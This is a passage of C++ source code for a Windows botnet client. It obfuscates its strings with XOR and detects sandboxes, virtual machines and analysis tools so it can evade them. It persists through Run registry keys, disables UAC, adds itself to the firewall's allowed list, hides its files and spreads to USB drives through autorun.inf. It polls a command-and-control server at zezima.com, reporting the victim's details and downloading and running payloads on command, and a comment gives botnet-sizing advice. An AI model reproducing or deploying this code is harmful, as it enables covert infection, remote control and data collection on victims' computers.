rLocalFree = (LFE)rGetProcAddress(DllLibrary[1],/*LocalFree*/XorStr<0x7E,10,0x03171EFB>("\x32\x10\xE3\xE0\xEE\xC5\xF6\xE0\xE3"+0x03171EFB).s);
rCloseHandle = (CLH)rGetProcAddress(DllLibrary[1],/*CloseHandle*/XorStr<0xBD,12,0xEE80DF9E>("\xFE\xD2\xD0\xB3\xA4\x8A\xA2\xAA\xA1\xAA\xA2"+0xEE80DF9E).s);
rGetComputerNameA = (GCN)rGetProcAddress(DllLibrary[1],/*GetComputerNameA*/XorStr<0x68,17,0x84827575>("\x2F\x0C\x1E\x28\x03\x00\x1E\x1A\x04\x14\x00\x3D\x15\x18\x13\x36"+0x84827575).s);
rGetVersionExA = (GVA)rGetProcAddress(DllLibrary[1],/*GetVersionExA*/XorStr<0xC5,14,0xA7E9A0B2>("\x82\xA3\xB3\x9E\xAC\xB8\xB8\xA5\xA2\xA0\x8A\xA8\x90"+0xA7E9A0B2).s);
rWritePrivateProfileStringA = (WPS)rGetProcAddress(DllLibrary[1],/*WritePrivateProfileStringA*/XorStr<0xB9,27,0x6859B541>("\xEE\xC8\xD2\xC8\xD8\xEE\xCD\xA9\xB7\xA3\xB7\xA1\x95\xB4\xA8\xAE\xA0\xA6\xAE\x9F\xB9\xBC\xA6\xBE\xB6\x93"+0x6859B541).s);
rGetDriveTypeA = (GDT)rGetProcAddress(DllLibrary[1],/*GetDriveTypeA*/XorStr<0xBE,14,0x8E31AD17>("\xF9\xDA\xB4\x85\xB0\xAA\xB2\xA0\x92\xBE\xB8\xAC\x8B"+0x8E31AD17).s);
rSetErrorMode = (SEM)rGetProcAddress(DllLibrary[1],/*SetErrorMode*/XorStr<0x3A,13,0x3910B115>("\x69\x5E\x48\x78\x4C\x4D\x2F\x33\x0F\x2C\x20\x20"+0x3910B115).s);
rOpenProcessToken = (OPT)rGetProcAddress(DllLibrary[1],/*OpenProcessToken*/XorStr<0xDE,17,0x09A0417E>("\x91\xAF\x85\x8F\xB2\x91\x8B\x86\x83\x94\x9B\xBD\x85\x80\x89\x83"+0x09A0417E).s);
rLookupPrivilegeValueA = (LPV)rGetProcAddress(DllLibrary[1],/*LookupPrivilegeValueA*/XorStr<0x31,22,0x283F4591>("\x7D\x5D\x5C\x5F\x40\x46\x67\x4A\x50\x4C\x52\x50\x58\x59\x5A\x16\x20\x2E\x36\x21\x04"+0x283F4591).s);
rAdjustTokenPrivileges = (ATP)rGetProcAddress(DllLibrary[1],/*AdjustTokenPrivileges*/XorStr<0x26,22,0xBD4E4091>("\x67\x43\x42\x5C\x59\x5F\x78\x42\x45\x4A\x5E\x61\x40\x5A\x42\x5C\x5A\x52\x5F\x5C\x49"+0xBD4E4091).s);
rGetCurrentProcess = (GCP)rGetProcAddress(DllLibrary[1],/*GetCurrentProcess*/XorStr<0x3E,18,0x099E558B>("\x79\x5A\x34\x02\x37\x31\x36\x20\x28\x33\x18\x3B\x25\x28\x29\x3E\x3D"+0x099E558B).s);
//shell32
rShellExecuteA = (SEA)rGetProcAddress(DllLibrary[4],/*ShellExecuteA*/XorStr<0x65,14,0x3D6AEE62>("\x36\x0E\x02\x04\x05\x2F\x13\x09\x0E\x1B\x1B\x15\x30"+0x3D6AEE62).s);
//user32
rFindWindowA = (FWA)rGetProcAddress(DllLibrary[5],/*FindWindowA*/XorStr<0x97,12,0xA048643B>("\xD1\xF1\xF7\xFE\xCC\xF5\xF3\xFA\xF0\xD7\xE0"+0xA048643B).s);
m_bApiLoaded = TRUE;
}
}
}
INT uniqueBotId( void )
{
//broken
return 0;
}
DWORD WINAPI tChecker ( LPVOID )
{
while(true)
{
Sleep(3000);
if( m_bApiLoaded == TRUE )
{
HKEY regAction;
DWORD HideSystemFiles = 0;
rRegOpenKey(HKEY_CURRENT_USER,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced*/XorStr<0x85,60,0x71C7EC91>("\xD6\xC9\xC1\xDC\xDE\xCB\xD9\xC9\xD1\xC3\xE6\xF3\xE3\xFD\xE0\xFB\xF3\xE2\xCB\xCF\xF0\xF4\xFF\xF3\xEA\xED\xC3\xE3\xD4\xD0\xD1\xC1\xCB\xD2\xF1\xCD\xDB\xD9\xC2\xC3\xC3\xF2\xEA\xC8\xC1\xDE\xDC\xC6\xD0\xC4\xEB\xF9\xDD\xCC\xDA\xD2\xDE\xDB\xDB"+0x71C7EC91).s,®Action);
rRegSetValue(regAction,/*Hidden*/XorStr<0x62,7,0xCA42127F>("\x2A\x0A\x00\x01\x03\x09"+0xCA42127F).s,0,REG_DWORD,(PBYTE)&HideSystemFiles,sizeof(PDWORD));
rRegCloseKey(regAction);
}
}
}
void LoadStrings( void )
{
char szOS[12];
char szL[12];
char szName[30];
sprintf(boatz.szMutex,/*Desktop Window Manager*/XorStr<0x6F,23,0x99C9AC90>("\x2B\x15\x02\x19\x07\x1B\x05\x56\x20\x11\x17\x1E\x14\x0B\x5D\x33\x1E\xEE\xE0\xE5\xE6\xF6"+0x99C9AC90).s);
OSVERSIONINFO osvi;
ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
char myUsername[30];
unsigned long lSize = sizeof( myUsername );
if(rGetVersionExA(&osvi))
{
sprintf(szOS,"%i.%i",osvi.dwMajorVersion,osvi.dwMinorVersion);
}
else
strcat(szOS,"NULL");
if( !rGetUserNameA( myUsername, &lSize ) )
{
sprintf(myUsername,/*Unknown-%i*/XorStr<0xDC,11,0x1315C47F>("\x89\xB3\xB5\xB1\x8F\x96\x8C\xCE\xC1\x8C"+0x1315C47F).s,rand()%1000000);
}
char buffer[20] = "NULL";
strcat(info.OS,szOS);
strcat(info.UserName,myUsername);
strcat(boatz.domain, "zezima.com");
strcat(boatz.bin, /*dwin32.exe*/XorStr<0x51,11,0x445DBC7C>("\x35\x25\x3A\x3A\x66\x64\x79\x3D\x21\x3F"+0x445DBC7C).s );
sprintf(boatz.panel, /*ns/clients.php?os=%s&name=%s&id=%i&loc=%s*/XorStr<0xEC,42,0xAFC004EB>("\x82\x9E\xC1\x8C\x9C\x98\x97\x9D\x80\x86\xD8\x87\x90\x89\xC5\x94\x8F\xC0\xDB\x8C\x26\x6F\x63\x6E\x61\x38\x23\x74\x2E\x60\x6E\x36\x29\x64\x28\x63\x7F\x72\x2F\x36\x67"+0xAFC004EB).s,szOS,myUsername,uniqueBotId,buffer);
strcat(boatz.UserAgent, /*Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2018203422 Firefox/3.5*/XorStr<0x17,90,0x0A8A9639>("\x5A\x77\x63\x73\x77\x70\x7C\x31\x2A\x0E\x11\x02\x0B\x73\x4C\x48\x43\x47\x5E\x59\x10\x0C\x78\x15\x0F\x67\x58\x5C\x57\x5B\x42\x45\x17\x76\x6D\x1A\x0E\x12\x0C\x05\x1F\x25\x2F\x6F\x16\x17\x7E\x66\x35\x3E\x73\x7B\x65\x75\x63\x7E\x61\x61\x68\x7B\x73\x13\x30\x35\x3C\x37\x76\x68\x6B\x6D\x65\x6C\x6F\x53\x55\x50\x51\x44\x23\x0F\x15\x0D\x0F\x05\x13\x43\x5E\x40\x5A"+0x0A8A9639).s);
boatz.bDecrypted = true;
}
BOOL bIsSandbox( void )
{
char myModule[MAX_PATH];
char myComputer[30];
unsigned long lSize = sizeof( myComputer );
char myUsername[30];
unsigned long lSize2 = sizeof( myUsername );
rGetModuleFileNameA( 0, myModule, MAX_PATH );
if( strstr(myModule, /*sample*/XorStr<0xB7,7,0x3A399DBD>("\xC4\xD9\xD4\xCA\xD7\xD9"+0x3A399DBD).s) )
{
return TRUE;
}
if( rGetUserNameA( myUsername, &lSize ) )
{
if( strstr(myUsername, /*HfreAnzr*/XorStr<0xB1,9,0xDC9F02B1>("\xF9\xD4\xC1\xD1\xF4\xD8\xCD\xCA"+0xDC9F02B1).s) || strstr(myUsername, /*hfre*/XorStr<0xBC,5,0xB00B908C>("\xD4\xDB\xCC\xDA"+0xB00B908C).s )
|| strstr(myUsername, /*sandbox*/XorStr<0x26,8,0x02DAFE83>("\x55\x46\x46\x4D\x48\x44\x54"+0x02DAFE83).s ) || strstr(myUsername, /*honey*/XorStr<0x5A,6,0x8B3BA0A0>("\x32\x34\x32\x38\x27"+0x8B3BA0A0).s )
|| strstr(myUsername, /*currentuser*/XorStr<0xE4,12,0xA46C751C>("\x87\x90\x94\x95\x8D\x87\x9E\x9E\x9F\x88\x9C"+0xA46C751C).s ) || strstr(myUsername, /*vmware*/XorStr<0xA0,7,0x12256E32>("\xD6\xCC\xD5\xC2\xD6\xC0"+0x12256E32).s )
|| strstr(myUsername, /*nepenthes*/XorStr<0x5B,10,0xF593E68D>("\x35\x39\x2D\x3B\x31\x14\x09\x07\x10"+0xF593E68D).s ))
return TRUE;
}
if( rGetComputerNameA( myComputer, &lSize2 ))
{
if( strstr(myComputer,/*ComputerName*/XorStr<0xEA,13,0x653F7418>("\xA9\x84\x81\x9D\x9B\x9B\x95\x83\xBC\x92\x99\x90"+0x653F7418).s) || strstr(myComputer,/*COMPUTERNAME*/XorStr<0xED,13,0x44D59299>("\xAE\xA1\xA2\xA0\xA4\xA6\xB6\xA6\xBB\xB7\xBA\xBD"+0x44D59299).s) )
{
return TRUE;
}
}
if( GetModuleHandle(/*SbieDll.dll*/XorStr<0x3C,12,0x551AC6E8>("\x6F\x5F\x57\x5A\x04\x2D\x2E\x6D\x20\x29\x2A"+0x551AC6E8).s) || GetModuleHandle(/*api_log.dll*/XorStr<0xB1,12,0x9ADF71E1>("\xD0\xC2\xDA\xEB\xD9\xD9\xD0\x96\xDD\xD6\xD7"+0x9ADF71E1).s) || GetModuleHandle(/*dbghelp.dll*/XorStr<0x2F,12,0x71176CAA>("\x4B\x52\x56\x5A\x56\x58\x45\x18\x53\x54\x55"+0x71176CAA).s) || GetModuleHandle(/*dir_watch.dll*/XorStr<0x19,14,0x68876232>("\x7D\x73\x69\x43\x6A\x7F\x6B\x43\x49\x0C\x47\x48\x49"+0x68876232).s) )
{
return TRUE;
}
return FALSE;
}
bool InstallSelf(char* Path)
{
BOOL bCopy;
int Failed = 0;
char Me[MAX_PATH];
char Destination[MAX_PATH];
char SystemDir[MAX_PATH];
//
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
memset(&pinfo,0,sizeof(pinfo));
memset(&sinfo,0,sizeof(sinfo));
rGetSystemDirectoryA(SystemDir,MAX_PATH);
sprintf(Destination,/*%s\\%s*/XorStr<0x67,6,0x39286042>("\x42\x1B\x35\x4F\x18"+0x39286042).s,SystemDir,Path);
rGetModuleFileNameA( 0, Me, MAX_PATH );
// ::MessageBox(0,Me,0,0);
HKEY regAction[6];
DWORD HideSystemFiles = 0;
DWORD EnableUAC = 0;
rRegCreateKey(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*/XorStr<0x75,116,0x8B10CFB7>("\x26\x39\x31\x2C\x2E\x3B\x29\x39\x21\x33\x16\xE3\xF3\xED\xF0\xEB\xE3\xF2\xDB\xDF\xE0\xE4\xEF\xE3\xFA\xFD\xAF\xDE\xC5\xCE\xD0\xE1\xE7\xE4\xF2\xF6\xED\xCC\xFE\xEE\xEE\xF7\xF0\xCE\xFD\xF6\xC6\xD6\xC8\xCF\xC9\xC9\xC5\x8A\xF8\xC9\xDF\xD8\xCA\xC2\xED\xFB\xDD\xC7\xC1\xD7\xDB\xD4\xE5\xE9\xD4\xDA\xC9\xC9\xDE\xB2\xA4\x9E\x8E\xAD\xA6\xB4\xA8\xBB\xA6\xAC\xBF\x90\x9A\xA7\xA1\xB4\xBE\xA5\xA0\x88\x96\xA3\xA5\xAA\xBC\xB4\xAF\x8A\xB8\xAC\xAC\x89\x8E\x8C\xBF\xB6\x90\x88\xBB"+0x8B10CFB7).s,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL, ®Action[1], NULL);
rRegSetValue(regAction[1],REG_KEY_STARTUP,0, REG_SZ, (const unsigned char *)Destination, strlen(Destination));
rRegCreateKey(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\*/XorStr<0xFA,47,0xF3D463BD>("\xA9\xB4\xBA\xA9\xA9\xBE\x52\x44\x5E\x4E\x6D\x66\x74\x68\x7B\x66\x6C\x7F\x50\x5A\x67\x61\x74\x7E\x65\x60\x48\x56\x63\x65\x6A\x7C\x74\x6F\x4A\x78\x6C\x6C\x49\x4E\x4C\x7F\x76\x50\x48\x7B"+0xF3D463BD).s,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL, ®Action[2], NULL);
rRegSetValue(regAction[2],REG_KEY_STARTUP,0, REG_SZ, (const unsigned char *)Destination, strlen(Destination));
rRegOpenKey(HKEY_LOCAL_MACHINE,/*System\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List*/XorStr<0xD6,113,0x3F7688EE>("\x85\xAE\xAB\xAD\xBF\xB6\x80\x9E\xB1\xB1\x94\x93\x8D\x8F\xB7\x80\x92\xD7\xD8\xD8\xB6\xB8\x89\x9F\x98\x86\x93\x94\x81\xAF\xA7\x9D\x97\x85\x9D\x9D\xBB\x98\x9F\x98\x8D\x8C\x5C\x51\x63\x71\x65\x68\x63\x73\x6D\x7B\x79\x57\x4A\x64\x7C\x6A\x67\x70\x7E\x7F\x44\x7A\x7A\x7E\x7B\x60\x46\x48\x68\x7C\x70\x7B\x41\x53\x46\x73\x56\x4A\x40\x4E\x44\x4C\x76\x6A\x59\x59\x46\x40\x42\x58\x48\x56\x50\x74\x46\x47\x54\x50\x59\x5A\x48\x54\x51\x51\x33\x1D\x0E\x2A\x37\x31"+0x3F7688EE).s,®Action[3]);
rRegSetValue(regAction[3],Destination,0,REG_SZ,(unsigned char*)Path,sizeof(Path));
rRegOpenKey(HKEY_CURRENT_USER,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced*/XorStr<0xD5,60,0xFDACE4BD>("\x86\x99\x91\x8C\x8E\x9B\x89\x99\x81\x93\xB6\x83\x93\x8D\x90\x8B\x83\x92\xBB\xBF\x80\x84\x8F\x83\x9A\x9D\xB3\xB3\x84\x80\x81\x91\x9B\x82\xA1\x9D\x8B\x89\x92\x93\x93\xA2\xBA\x78\x71\x6E\x6C\x76\x60\x74\x5B\x49\x6D\x7C\x6A\x62\x6E\x6B\x6B"+0xFDACE4BD).s,®Action[4]);
rRegSetValue(regAction[4],/*Hidden*/XorStr<0x83,7,0xE9FB05E3>("\xCB\xED\xE1\xE2\xE2\xE6"+0xE9FB05E3).s,0,REG_DWORD,(PBYTE)&HideSystemFiles,sizeof(PDWORD));
rRegOpenKey(HKEY_CURRENT_USER,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System*/XorStr<0x4E,58,0x25BDD7FE>("\x1D\x00\x16\x05\x05\x12\x06\x10\x0A\x1A\x31\x3A\x28\x34\x2F\x32\x38\x2B\x3C\x36\x0B\x0D\x00\x0A\x11\x14\x34\x2A\x1F\x19\x1E\x08\x00\x1B\x26\x14\x00\x00\x1D\x1A\x18\x2B\x28\x16\x16\x12\x1F\x14\x1B\x0C\xDC\xD2\xFB\xF0\xF0\xE0\xEB"+0x25BDD7FE).s,®Action[5]);
rRegSetValue(regAction[5],/*EnableLUA*/XorStr<0x5E,10,0x73A5B45A>("\x1B\x31\x01\x03\x0E\x06\x28\x30\x27"+0x73A5B45A).s,0,REG_DWORD,(PBYTE)&EnableUAC,sizeof(PDWORD));
rRegOpenKey(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System*/XorStr<0x4E,58,0x25BDD7FE>("\x1D\x00\x16\x05\x05\x12\x06\x10\x0A\x1A\x31\x3A\x28\x34\x2F\x32\x38\x2B\x3C\x36\x0B\x0D\x00\x0A\x11\x14\x34\x2A\x1F\x19\x1E\x08\x00\x1B\x26\x14\x00\x00\x1D\x1A\x18\x2B\x28\x16\x16\x12\x1F\x14\x1B\x0C\xDC\xD2\xFB\xF0\xF0\xE0\xEB"+0x25BDD7FE).s,®Action[6]);
rRegSetValue(regAction[6],/*EnableLUA*/XorStr<0x5E,10,0x73A5B45A>("\x1B\x31\x01\x03\x0E\x06\x28\x30\x27"+0x73A5B45A).s,0,REG_DWORD,(PBYTE)&EnableUAC,sizeof(PDWORD));
for(int i=0;i<6;i++)
{
rRegCloseKey(regAction[i]);
}
if( !strcmp( Me, Destination ) ) //path and destination are the same? already installed? stops exploding modems on the next bit
{
return true;
}
while( !( bCopy = rCopyFileA( Me, Destination ,false) ) )
{
if(Failed >= 3)
return false;
Failed++;
rSetFileAttributesA(Destination,FILE_ATTRIBUTE_NORMAL);
Sleep(5000);
}
rSetFileAttributesA(Destination,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESHOWWINDOW;
if(rCreateProcessA(Destination,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,0,&sinfo,&pinfo))
exit(0);
return true;
}
#pragma comment(lib, "user32")
bool GetCommands( void )
{
HINTERNET hInternet[3];
char *arg[32];
char szBuffer[4096];
DWORD dwNumberOfBytesRead = NULL;
BOOL bSent = FALSE;
char headers[] = "";
hInternet[1] = rInternetOpenA(boatz.UserAgent,INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
hInternet[2] = rInternetConnectA(hInternet[1], boatz.domain,INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
hInternet[3] = rHttpOpenRequestA(hInternet[2], /*GET*/XorStr<0xA0,4,0x563BAB87>("\xE7\xE4\xF6"+0x563BAB87).s, boatz.panel, NULL, NULL, NULL, NULL, 1);
rHttpSendRequestA(hInternet[3], headers, strlen(headers), 0, 0);
rInternetReadFile(hInternet[3], szBuffer, 4096,&dwNumberOfBytesRead);
for(int z=0;z<3;z++){
if( hInternet[z] != NULL ) rInternetCloseHandle(hInternet[z]);
}
//::MessageBox(0,szBuffer,0,0);
if( !strcmp(szBuffer,savedBuffer) )
{
return false;
}
ZeroMemory(savedBuffer,4096);
strcat(savedBuffer,szBuffer);
arg[0] = strtok(szBuffer, " ");
for (int i = 1; i < 32; i++)
{
arg[i] = strtok(NULL, " ");
}
if(arg[0][0] == '?')
{
if( !strcmp(arg[0], /*?install*/XorStr<0xA9,9,0xF79F21C6>("\x96\xC3\xC5\xDF\xD9\xCF\xC3\xDC"+0xF79F21C6).s) )
{
//::MessageBox(0,arg[0],0,0);
if(!arg[1] || !arg[2] )
return false;
// ::MessageBox(0,arg[2],0,0);
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
memset(&pinfo,0,sizeof(pinfo));
memset(&sinfo,0,sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESHOWWINDOW;
char SystemFolder[MAX_PATH];
char tSystem[MAX_PATH];;
rGetSystemDirectoryA(tSystem,MAX_PATH);
sprintf(SystemFolder,/*%s\\%s*/XorStr<0x8A,6,0xC6996EBF>("\xAF\xF8\xD0\xA8\xFD"+0xC6996EBF).s,tSystem,arg[2]);
downloadFile(arg[1],SystemFolder);
//::MessageBox(0,SystemFolder,0,0);
rCreateProcessA(SystemFolder,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,0,&sinfo,&pinfo);
return true;
}
else if (!strcmp(arg[0], /*?uninstall*/XorStr<0x10,11,0x5AC6AF61>("\x2F\x64\x7C\x7A\x7A\x66\x62\x76\x74\x75"+0x5AC6AF61).s))
{
char dOutput[64] = "Google";
HKEY rKey[2];
rRegCreateKey(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*/XorStr<0x75,116,0x8B10CFB7>("\x26\x39\x31\x2C\x2E\x3B\x29\x39\x21\x33\x16\xE3\xF3\xED\xF0\xEB\xE3\xF2\xDB\xDF\xE0\xE4\xEF\xE3\xFA\xFD\xAF\xDE\xC5\xCE\xD0\xE1\xE7\xE4\xF2\xF6\xED\xCC\xFE\xEE\xEE\xF7\xF0\xCE\xFD\xF6\xC6\xD6\xC8\xCF\xC9\xC9\xC5\x8A\xF8\xC9\xDF\xD8\xCA\xC2\xED\xFB\xDD\xC7\xC1\xD7\xDB\xD4\xE5\xE9\xD4\xDA\xC9\xC9\xDE\xB2\xA4\x9E\x8E\xAD\xA6\xB4\xA8\xBB\xA6\xAC\xBF\x90\x9A\xA7\xA1\xB4\xBE\xA5\xA0\x88\x96\xA3\xA5\xAA\xBC\xB4\xAF\x8A\xB8\xAC\xAC\x89\x8E\x8C\xBF\xB6\x90\x88\xBB"+0x8B10CFB7).s,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL, &rKey[1], NULL);
rRegSetValue(rKey[1],REG_KEY_STARTUP,0, REG_SZ, (const unsigned char *)dOutput, strlen(dOutput));
rRegCreateKey(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\*/XorStr<0xFA,47,0xF3D463BD>("\xA9\xB4\xBA\xA9\xA9\xBE\x52\x44\x5E\x4E\x6D\x66\x74\x68\x7B\x66\x6C\x7F\x50\x5A\x67\x61\x74\x7E\x65\x60\x48\x56\x63\x65\x6A\x7C\x74\x6F\x4A\x78\x6C\x6C\x49\x4E\x4C\x7F\x76\x50\x48\x7B"+0xF3D463BD).s,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL, &rKey[2], NULL);
rRegSetValue(rKey[2],REG_KEY_STARTUP,0, REG_SZ, (const unsigned char *)dOutput, strlen(dOutput));
exit(0);
}
else if (!strcmp(arg[0], /*?open*/XorStr<0xAB,6,0x918A6235>("\x94\xC3\xDD\xCB\xC1"+0x918A6235).s))
{
if( !arg[1] || rShellExecuteA == NULL )
{
return 0;
}
rShellExecuteA(0,/*open*/XorStr<0x31,5,0x2769E94F>("\x5E\x42\x56\x5A"+0x2769E94F).s,arg[1],0,0,SW_SHOW);
}
else if( !strcmp(arg[0], /*?update*/XorStr<0x08,8,0x6D44119B>("\x37\x7C\x7A\x6F\x6D\x79\x6B"+0x6D44119B).s) )
{
if(!arg[1] || !arg[2] )
return false;
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
memset(&pinfo,0,sizeof(pinfo));
memset(&sinfo,0,sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESHOWWINDOW;
char SystemFolder[MAX_PATH];
char tSystem[MAX_PATH];;
rGetSystemDirectoryA(tSystem,MAX_PATH);
sprintf(SystemFolder,/*%s\\%s*/XorStr<0x8A,6,0xC6996EBF>("\xAF\xF8\xD0\xA8\xFD"+0xC6996EBF).s,tSystem,arg[2]);
downloadFile(arg[1],SystemFolder);
rCreateProcessA(SystemFolder,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,0,&sinfo,&pinfo);
exit(-2);
return true;
}
else if( !strcmp(arg[0], /*?qkill*/XorStr<0xE2,7,0x1A4FEBC4>("\xDD\x92\x8F\x8C\x8A\x8B"+0x1A4FEBC4).s) )
{
exit(-2);
}
}
//::MessageBoxA(0,szBuffer,0,0);
return true;
}
DWORD WINAPI tScanner ( LPVOID )
{
while(true)
{
Sleep(5000);
if( rFindWindowA != NULL && m_bApiLoaded == TRUE )
{
if( rFindWindowA(0,/*CommView*/XorStr<0x1C,9,0x3C6E42FD>("\x5F\x72\x73\x72\x76\x48\x47\x54"+0x3C6E42FD).s) )
exit(0);
if( rFindWindowA(/*TCPViewClass*/XorStr<0xE3,13,0xBCA7B0E8>("\xB7\xA7\xB5\xB0\x8E\x8D\x9E\xA9\x87\x8D\x9E\x9D"+0xBCA7B0E8).s,0) )
exit(0);
if( rFindWindowA(0,/*TCPView - Sysinternals: www.sysinternals.com*/XorStr<0x0D,45,0xC448A247>("\x59\x4D\x5F\x46\x78\x77\x64\x34\x38\x36\x44\x61\x6A\x73\x75\x68\x78\x6C\x71\x41\x4D\x51\x19\x04\x52\x51\x50\x06\x5A\x53\x58\x45\x43\x5A\x4A\x42\x5F\x53\x5F\x47\x1B\x55\x58\x55"+0xC448A247).s) )
exit(0);
if( rFindWindowA(/*PROCMON_WINDOW_CLASS*/XorStr<0xCD,21,0xB592B1EB>("\x9D\x9C\x80\x93\x9C\x9D\x9D\x8B\x82\x9F\x99\x9C\x96\x8D\x84\x9F\x91\x9F\x8C\xB3"+0xB592B1EB).s,0) )
exit(0);
if( rFindWindowA(/*OLLYDBG*/XorStr<0x70,8,0x50289D2E>("\x3F\x3D\x3E\x2A\x30\x37\x31"+0x50289D2E).s,0) )
exit(0);
if( rFindWindowA(/*gdkWindowToplevel*/XorStr<0xF3,18,0x3B9520E4>("\x94\x90\x9E\xA1\x9E\x96\x9D\x95\x8C\xA8\x92\x8E\x93\x65\x77\x67\x6F"+0x3B9520E4).s,0) )
exit(0);
if( rFindWindowA(0,/*CommView - The Team ZWT 2008*/XorStr<0x4B,29,0x419DBA5A>("\x08\x23\x20\x23\x19\x39\x34\x25\x73\x79\x75\x02\x3F\x3D\x79\x0E\x3E\x3D\x30\x7E\x05\x37\x35\x42\x51\x54\x55\x5E"+0x419DBA5A).s) )
exit(0);
if( rFindWindowA(0,/*The Wireshark Network Analyzer*/XorStr<0x6D,31,0xC61B73DA>("\x39\x06\x0A\x50\x26\x1B\x01\x11\x06\x1E\x16\x0A\x12\x5A\x35\x19\x09\x09\x10\xF2\xEA\xA2\xC2\xEA\xE4\xEA\xFE\xF2\xEC\xF8"+0xC61B73DA).s) )
exit(0);
if( rFindWindowA(0,/*SysAnalyzer*/XorStr<0x44,12,0x760955A3>("\x17\x3C\x35\x06\x26\x28\x26\x32\x36\x28\x3C"+0x760955A3).s) )
exit(0);
}
}
}
DWORD WINAPI usbThread( LPVOID )
{
Sleep(5000);
rSetErrorMode( 0x0001 ); //Hide drive errors
unsigned int iRet;
char szIni[520];
char szFile[520];
char Me[MAX_PATH];
char *tDrives[26];
rGetModuleFileNameA( 0, Me, MAX_PATH );
for( int i=0 ; i < 26 ; i++ ) //Removes the need for GetLogicalDriveStringsA
{
char* tRandom = (char*)i + 'a';
tDrives[i] = (char*)&tRandom;
strcat(tDrives[i],/*:\\*/XorStr<0x41,3,0x6899B7E3>("\x7B\x1E"+0x6899B7E3).s);
strupr(tDrives[i]);
iRet = rGetDriveTypeA(tDrives[i]);
switch ( iRet )
{
case DRIVE_UNKNOWN:
//case DRIVE_NO_ROOT_DIR:
break;
case DRIVE_REMOVABLE:
sprintf( szIni, /*%sautorun.inf*/XorStr<0x40,14,0xE660AE36>("\x65\x32\x23\x36\x30\x2A\x34\x32\x26\x67\x23\x25\x2A"+0xE660AE36).s, tDrives[i] );
sprintf( szFile, /*%s%i.exe*/XorStr<0x09,9,0x5F340032>("\x2C\x79\x2E\x65\x23\x6B\x77\x75"+0x5F340032).s, tDrives[i], rand()%100000 );
rCopyFileA(Me, szFile, NULL);
rWritePrivateProfileStringA( /*autorun*/XorStr<0x45,8,0x2B88982F>("\x24\x33\x33\x27\x3B\x3F\x25"+0x2B88982F).s, /*open*/XorStr<0x73,5,0xFF995EEF>("\x1C\x04\x10\x18"+0xFF995EEF).s, szFile, szIni );
break;
default:
break;
}
}
return 0;
};
//you can decrease this, if you have a smaller botnet
//if you have over 1k bots then anything around 1 minute will smash your web server.
//for anything larger than 5k+ ten minutes should be minimum.
#define TEN_MINUTES 600000
DWORD WINAPI tMain ( LPVOID )
{
while(true)
{
GetCommands();
Sleep(TEN_MINUTES);
}
}
bool bGetAdminPriv ( void )
{
bool bRet = false;
TOKEN_PRIVILEGES Priv;
HANDLE Token = NULL;
Priv.PrivilegeCount = 1;
Priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
rOpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &Token );
rLookupPrivilegeValueA( NULL, /*SeDebugPrivilege*/XorStr<0xB6,17,0x43A52E36>("\xE5\xD2\xFC\xDC\xD8\xCE\xDB\xED\xCC\xD6\xB6\xA8\xAE\xA6\xA3\xA0"+0x43A52E36).s , &Priv.Privileges[0].Luid );
bRet = rAdjustTokenPrivileges( Token, FALSE, &Priv, sizeof(Priv), NULL, NULL );
return bRet;
}
BOOL _WinMain( void )
{
boatz.hMainThreads[1] = rCreateThread(0,0,tChecker,0,0,0);
boatz.hMainThreads[2] = rCreateThread(0,0,tScanner,0,0,0);
boatz.hMainThreads[3] = rCreateThread(0,0,usbThread,0,0,0);
InstallSelf(boatz.bin);
boatz.hMutex = rCreateMutexA( NULL, false, boatz.szMutex );
if( boatz.hMutex == NULL )
return FALSE;
HANDLE hThread = rCreateThread(0,0,tMain,0,0,0);
rWaitForSingleObject(hThread,0xFFFFFFFF);
return TRUE;
}
int __stdcall WinMain(HINSTANCE__* hinst, HINSTANCE__* previnst, char* cmd, int cmds)
{
LoadFunctions();
if( m_bApiLoaded ){ //should allways return true;
if( bIsSandbox() == FALSE ) // ?
{
LoadStrings();//Decrypt main strings, set everything up
if( boatz.bDecrypted ){//incase of a exception, error or RE, makes sure the string encrypt function fully went through
